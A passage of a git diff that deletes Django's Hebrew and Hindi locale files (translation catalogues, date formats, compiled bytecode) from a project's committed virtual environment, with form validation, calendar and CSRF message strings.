HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"אם ביטלת \"Referer\" headers בדפדפן שלך, נא לאפשר אותם מחדש, לפחות עבור אתר " -"זה, חיבורי HTTPS או בקשות \"same-origin\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"אם השתמשת בתגאו הוספת header " -"של “Referrer-Policy: no-referrer”, נא להסיר אותם. הגנת ה־CSRF דורשת " -"‎“Referer” header לבדיקת ה־referer. אם פרטיות מדאיגה אותך, ניתן להשתמש " -"בתחליפים כמו לקישור אל אתרי צד שלישי." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"הודעה זו מופיעה מאחר ואתר זה דורש עוגיית CSRF כאשר שולחים טפסים. עוגיה זו " -"נדרשת מסיבות אבטחה, כדי לוודא שהדפדפן שלך לא נחטף על ידי אחרים." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"אם ביטלת עוגיות בדפדפן שלך, נא לאפשר אותם מחדש לפחות עבור אתר זה או בקשות " -"“same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "מידע נוסף זמין עם " - -msgid "No year specified" -msgstr "לא צוינה שנה" - -msgid "Date out of range" -msgstr "תאריך מחוץ לטווח" - -msgid "No month specified" -msgstr "לא צוין חודש" - -msgid "No day specified" -msgstr "לא צוין יום" - -msgid "No week specified" -msgstr "לא צוין שבוע" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "לא נמצאו %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"לא נמצאו %(verbose_name_plural)s בזמן עתיד מאחר ש-%(class_name)s." -"allow_future מוגדר False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "מחרוזת תאריך %(datestr)s אינה חוקית בפורמט %(format)s." - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "לא נמצא/ה %(verbose_name)s התואם/ת לשאילתה" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "העמוד אינו \"last\" או לא ניתן להמרה למספר שם." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "עמוד לא חוקי (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "רשימה ריקה ו־“%(class_name)s.allow_empty” הוא False." - -msgid "Directory indexes are not allowed here." -msgstr "אינדקסים על תיקיה אסורים כאן." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" אינו קיים" - -#, python-format -msgid "Index of %(directory)s" -msgstr "אינדקס של %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "ההתקנה עברה בהצלחה! מזל טוב!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"ראו הערות השחרור עבור Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"עמוד זה מופיע בעקבות המצאות DEBUG=True בקובץ ההגדרות שלך ולא הגדרת שום URLs." - -msgid "Django Documentation" -msgstr "תיעוד Django" - -msgid "Topics, references, & how-to’s" -msgstr "נושאים, הפניות ומדריכים לביצוע" - -msgid "Tutorial: A Polling App" -msgstr "מדריך ללומד: יישום לסקרים." - -msgid "Get started with Django" -msgstr "התחילו לעבוד עם Django" - -msgid "Django Community" -msgstr "קהילת Django" - -msgid "Connect, get help, or contribute" -msgstr "יצירת קשר, קבלת עזרה או השתתפות" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/he/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index d5d292c9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 68f79c26..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/he/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/he/formats.py deleted file mode 100644 index 2cf92865..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/he/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j בF Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j בF Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j בF" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.mo deleted file mode 100644 index 2d535fb0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.po deleted file mode 100644 index 20da3766..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hi/LC_MESSAGES/django.po +++ /dev/null @@ -1,1254 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# alkuma , 2013 -# Bharat Toge, 2022 -# Chandan kumar , 2012 -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# Pratik , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:23-0500\n" -"PO-Revision-Date: 2022-07-25 06:49+0000\n" -"Last-Translator: Bharat Toge\n" -"Language-Team: Hindi (http://www.transifex.com/django/django/language/hi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "अफ़्रीकांस" - -msgid "Arabic" -msgstr "अरबी" - -msgid "Algerian Arabic" -msgstr "अल्जीरियाई अरब" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "आज़रबाइजानी" - -msgid "Bulgarian" -msgstr "बलगारियन" - -msgid "Belarusian" -msgstr "बेलारूसी" - -msgid "Bengali" -msgstr "बंगाली" - -msgid "Breton" -msgstr "ब्रेटन" - -msgid "Bosnian" -msgstr "बोस्नियन" - -msgid "Catalan" -msgstr "कटलान" - -msgid "Czech" -msgstr "च्चेक" - -msgid "Welsh" -msgstr "वेल्श" - -msgid "Danish" -msgstr "दानिश" - -msgid "German" -msgstr "जर्मन" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "ग्रीक" - -msgid "English" -msgstr "अंग्रेज़ी " - -msgid "Australian English" -msgstr "ऑस्ट्रेलियाई अंग्रेज़ी " - -msgid "British English" -msgstr "ब्रिटिश अंग्रेजी" - -msgid "Esperanto" -msgstr "एस्परेन्तो" - -msgid "Spanish" -msgstr "स्पानिश" - -msgid "Argentinian Spanish" -msgstr "अर्जेंटीना स्पैनिश " - -msgid "Colombian Spanish" -msgstr "कोलंबियाई स्पेनी" - -msgid "Mexican Spanish" -msgstr "मेक्सिकन स्पैनिश" - -msgid "Nicaraguan Spanish" -msgstr "निकारागुआ स्पैनिश" - -msgid "Venezuelan Spanish" -msgstr "वेनेज़ुएलाई स्पेनिश" - -msgid "Estonian" -msgstr "एस्टोनियन" - -msgid "Basque" -msgstr "बास्क" - -msgid "Persian" -msgstr "पारसी" - -msgid "Finnish" -msgstr "फ़िन्निश" - -msgid "French" -msgstr "फ्रेंच" - -msgid "Frisian" -msgstr "फ्रिसियन" - -msgid "Irish" -msgstr "आयरिश" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "गलिशियन" - -msgid "Hebrew" -msgstr "हि‍ब्रू" - -msgid "Hindi" -msgstr "हिंदी" - -msgid "Croatian" -msgstr "क्रोयेशियन" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "हंगेरियन" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "इंतर्लिंगुआ" - -msgid "Indonesian" -msgstr "इन्डोनेशियन " - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "आयिस्लान्डिक" - -msgid "Italian" -msgstr "इटैलियन" - -msgid "Japanese" -msgstr "जपानी" - -msgid "Georgian" -msgstr "ज्योर्जियन" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "कज़ाख" - -msgid "Khmer" -msgstr "ख्मेर" - -msgid "Kannada" -msgstr "कन्‍नड़" - -msgid "Korean" -msgstr "कोरियन" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "लक्संबर्गी" - -msgid "Lithuanian" -msgstr "लिथुवेनियन" - -msgid "Latvian" -msgstr "लात्वियन" - -msgid "Macedonian" -msgstr "मेसिडोनियन" - -msgid "Malayalam" -msgstr "मलयालम" - -msgid "Mongolian" -msgstr "मंगोलियन" - -msgid "Marathi" -msgstr "मराठी" - -msgid "Malay" -msgstr "मलय भाषा" - -msgid "Burmese" -msgstr "बर्मीज़" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "नेपाली" - -msgid "Dutch" -msgstr "डच" - -msgid "Norwegian Nynorsk" -msgstr "नार्वेजियन नायनॉर्स्क" - -msgid "Ossetic" -msgstr "ओस्सेटिक" - -msgid "Punjabi" -msgstr "पंजाबी" - -msgid "Polish" -msgstr "पोलिश" - -msgid "Portuguese" -msgstr "पुर्तगाली" - -msgid "Brazilian Portuguese" -msgstr "ब्रजिलियन पुर्तगाली" - -msgid "Romanian" -msgstr "रोमानियन" - -msgid "Russian" -msgstr "रूसी" - -msgid "Slovak" -msgstr "स्लोवाक" - -msgid "Slovenian" -msgstr "स्लोवेनियन" - -msgid "Albanian" -msgstr "अल्बेनियन्" - -msgid "Serbian" -msgstr "सर्बियन" - -msgid "Serbian Latin" -msgstr "सर्बियाई लैटिन" - -msgid "Swedish" -msgstr "स्वीडिश" - -msgid "Swahili" -msgstr "स्वाहिली" - -msgid "Tamil" -msgstr "तमिल" - -msgid "Telugu" -msgstr "तेलुगु" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "थाई" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "तुर्किश" - -msgid "Tatar" -msgstr "तातार" - -msgid "Udmurt" -msgstr "उद्मर्त" - -msgid "Ukrainian" -msgstr "यूक्रानियन" - -msgid "Urdu" -msgstr "उर्दू" - -msgid "Uzbek" -msgstr "उज़्बेक" - -msgid "Vietnamese" -msgstr "वियतनामी" - -msgid "Simplified Chinese" -msgstr "सरल चीनी" - -msgid "Traditional Chinese" -msgstr "पारम्परिक चीनी" - -msgid "Messages" -msgstr "संदेश" - -msgid "Site Maps" -msgstr "साइट मैप" - -msgid "Static Files" -msgstr "स्थिर फ़ाइलें" - -msgid "Syndication" -msgstr "सिंडिकेशन" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "यह पृष्ठ संख्या पूर्णांक नहीं है" - -msgid "That page number is less than 1" -msgstr "यह पृष्ठ संख्या 1 से कम है " - -msgid "That page contains no results" -msgstr "उस पृष्ठ पर कोई परिणाम नहीं हैं" - -msgid "Enter a valid value." -msgstr "एक मान्य मूल्य दर्ज करें" - -msgid "Enter a valid URL." -msgstr "वैध यू.आर.एल भरें ।" - -msgid "Enter a valid integer." -msgstr "एक मान्य पूर्ण संख्या दर्ज करें" - -msgid "Enter a valid email address." -msgstr "वैध डाक पता प्रविष्ट करें।" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "वैध आइ.पि वी 4 पता भरें ।" - -msgid "Enter a valid IPv6 address." -msgstr "वैध IPv6 पता दर्ज करें." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "वैध IPv4 या IPv6 पता दर्ज करें." - -msgid "Enter only digits separated by commas." -msgstr "अल्पविराम अंक मात्र ही भरें ।" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"सुनिश्चित करें कि यह मान %(limit_value)s (यह\n" -" %(show_value)s है) है ।" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "सुनिश्चित करें कि यह मान %(limit_value)s से कम या बराबर है ।" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "सुनिश्चित करें यह मान %(limit_value)s से बड़ा या बराबर है ।" - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "एक संख्या दर्ज करें ।" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "और" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "यह मूल्य खाली नहीं हो सकता ।" - -msgid "This field cannot be blank." -msgstr "इस फ़ील्ड रिक्त नहीं हो सकता है." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "इस %(field_label)s के साथ एक %(model_name)s पहले से ही उपस्थित है ।" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "फील्ड के प्रकार: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "बूलियन (सही अथ‌वा गलत)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "स्ट्रिंग (अधिकतम लम्बाई %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "अल्पविराम सीमांकित संख्या" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "तिथि (बिना समय)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "तिथि (समय के साथ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "दशमलव संख्या" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "अवधि" - -msgid "Email address" -msgstr "ईमेल पता" - -msgid "File path" -msgstr "संचिका पथ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "चल बिन्दु संख्या" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "पूर्णांक" - -msgid "Big (8 byte) integer" -msgstr "बड़ा (8 बाइट) पूर्णांक " - -msgid "Small integer" -msgstr "छोटा पूर्णांक" - -msgid "IPv4 address" -msgstr "IPv4 पता" - -msgid "IP address" -msgstr "आइ.पि पता" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "बूलियन (सही, गलत या कुछ नहीं)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "धनात्मक पूर्णांक" - -msgid "Positive small integer" -msgstr "धनात्मक छोटा पूर्णांक" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "स्लग (%(max_length)s तक)" - -msgid "Text" -msgstr "पाठ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "समय" - -msgid "URL" -msgstr "यू.आर.एल" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "फाइल" - -msgid "Image" -msgstr "छवि" - -msgid "A JSON object" -msgstr "एक JSON डेटा object" - -msgid "Value must be valid JSON." -msgstr "दर्ज किया गया डेटा वैध JSON होना अनिवार्य है" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "विदेशी कुंजी (संबंधित क्षेत्र के द्वारा प्रकार निर्धारित)" - -msgid "One-to-one relationship" -msgstr "एक-एक संबंध" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "बहुत से कई संबंध" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "यह क्षेत्र अपेक्षित हैं" - -msgid "Enter a whole number." -msgstr "एक पूर्ण संख्या दर्ज करें ।" - -msgid "Enter a valid date." -msgstr "वैध तिथि भरें ।" - -msgid "Enter a valid time." -msgstr "वैध समय भरें ।" - -msgid "Enter a valid date/time." -msgstr "वैध तिथि/समय भरें ।" - -msgid "Enter a valid duration." -msgstr "एक वैध अवधी दर्ज करें" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "दिनों की संख्या {min_days} और {max_days} के बीच होना अनिवार्य है " - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "कोई संचिका निवेदित नहीं हुई । कृपया कूटलेखन की जाँच करें ।" - -msgid "No file was submitted." -msgstr "कोई संचिका निवेदित नहीं हुई ।" - -msgid "The submitted file is empty." -msgstr "निवेदित संचिका खाली है ।" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "कृपया या फ़ाइल प्रस्तुत करे या साफ जांचपेटी की जाँच करे,दोनों नहीं ." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "वैध चित्र निवेदन करें । आप के द्वारा निवेदित संचिका अमान्य अथवा दूषित है ।" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "मान्य इच्छा चयन करें । %(value)s लभ्य इच्छाओं में उप्लब्ध नहीं हैं ।" - -msgid "Enter a list of values." -msgstr "मूल्य सूची दर्ज करें ।" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "एक वैध UUID भरें " - -msgid "Enter a valid JSON." -msgstr "एक वैध JSON भरें " - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "छाटें" - -msgid "Delete" -msgstr "मिटाएँ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "कृपया %(field)s के लिए डुप्लिकेट डेटा को सही करे." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "कृपया %(field)s के डुप्लिकेट डेटा जो अद्वितीय होना चाहिए को सही करें." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"कृपया %(field_name)s के लिए डुप्लिकेट डेटा को सही करे जो %(date_field)s में " -"%(lookup)s के लिए अद्वितीय होना चाहिए." - -msgid "Please correct the duplicate values below." -msgstr "कृपया डुप्लिकेट मानों को सही करें." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "मान्य विकल्प चयन करें । यह विकल्प उपस्थित विकल्पों में नहीं है ।" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "रिक्त करें" - -msgid "Currently" -msgstr "फिलहाल" - -msgid "Change" -msgstr "बदलें" - -msgid "Unknown" -msgstr "अनजान" - -msgid "Yes" -msgstr "हाँ" - -msgid "No" -msgstr "नहीं" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "हाँ,नहीं,शायद" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d बाइट" -msgstr[1] "%(size)d बाइट" - -#, python-format -msgid "%s KB" -msgstr "%s केबी " - -#, python-format -msgid "%s MB" -msgstr "%s मेबी " - -#, python-format -msgid "%s GB" -msgstr "%s जीबी " - -#, python-format -msgid "%s TB" -msgstr "%s टीबी" - -#, python-format -msgid "%s PB" -msgstr "%s पीबी" - -msgid "p.m." -msgstr "बजे" - -msgid "a.m." -msgstr "बजे" - -msgid "PM" -msgstr "बजे" - -msgid "AM" -msgstr "बजे" - -msgid "midnight" -msgstr "मध्यरात्री" - -msgid "noon" -msgstr "दोपहर" - -msgid "Monday" -msgstr "सोम‌वार" - -msgid "Tuesday" -msgstr "मंगलवार" - -msgid "Wednesday" -msgstr "बुधवार" - -msgid "Thursday" -msgstr "गुरूवार" - -msgid "Friday" -msgstr "शुक्रवार" - -msgid "Saturday" -msgstr "शनिवार" - -msgid "Sunday" -msgstr "रविवार" - -msgid "Mon" -msgstr "सोम" - -msgid "Tue" -msgstr "मंगल" - -msgid "Wed" -msgstr "बुध" - -msgid "Thu" -msgstr "गुरू" - -msgid "Fri" -msgstr "शुक्र" - -msgid "Sat" -msgstr "शनि" - -msgid "Sun" -msgstr "रवि" - -msgid "January" -msgstr "जनवरी" - -msgid "February" -msgstr "फ़रवरी" - -msgid "March" -msgstr "मार्च" - -msgid "April" -msgstr "अप्रैल" - -msgid "May" -msgstr "मई" - -msgid "June" -msgstr "जून" - -msgid "July" -msgstr "जुलाई" - -msgid "August" -msgstr "अगस्त" - -msgid "September" -msgstr "सितमबर" - -msgid "October" -msgstr "अक्टूबर" - -msgid "November" -msgstr "नवमबर" - -msgid "December" -msgstr "दिसमबर" - -msgid "jan" -msgstr "जन" - -msgid "feb" -msgstr "फ़र" - -msgid "mar" -msgstr "मा" - -msgid "apr" -msgstr "अप्र" - -msgid "may" -msgstr "मई" - -msgid "jun" -msgstr "जून" - -msgid "jul" -msgstr "जुल" - -msgid "aug" -msgstr "अग" - -msgid "sep" -msgstr "सित" - -msgid "oct" -msgstr "अक्ट" - -msgid "nov" -msgstr "नव" - -msgid "dec" -msgstr "दिस्" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "जनवरी." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "फ़रवरी." - -msgctxt "abbrev. month" -msgid "March" -msgstr "मार्च" - -msgctxt "abbrev. month" -msgid "April" -msgstr "अप्रैल" - -msgctxt "abbrev. month" -msgid "May" -msgstr "मई" - -msgctxt "abbrev. month" -msgid "June" -msgstr "जून" - -msgctxt "abbrev. month" -msgid "July" -msgstr "जुलाई" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "अग." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "सितम्बर." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "अक्टूबर" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "नवम्बर." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "दिसम्बर" - -msgctxt "alt. month" -msgid "January" -msgstr "जनवरी" - -msgctxt "alt. month" -msgid "February" -msgstr "फरवरी" - -msgctxt "alt. month" -msgid "March" -msgstr "मार्च" - -msgctxt "alt. month" -msgid "April" -msgstr "अप्रैल" - -msgctxt "alt. month" -msgid "May" -msgstr "मई" - -msgctxt "alt. month" -msgid "June" -msgstr "जून" - -msgctxt "alt. month" -msgid "July" -msgstr "जुलाई" - -msgctxt "alt. month" -msgid "August" -msgstr "अगस्त" - -msgctxt "alt. month" -msgid "September" -msgstr "सितंबर" - -msgctxt "alt. month" -msgid "October" -msgstr "अक्टूबर" - -msgctxt "alt. month" -msgid "November" -msgstr "नवंबर" - -msgctxt "alt. month" -msgid "December" -msgstr "दिसंबर" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "अथवा" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF सत्यापन असफल रहा. Request निरस्त की गई " - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid 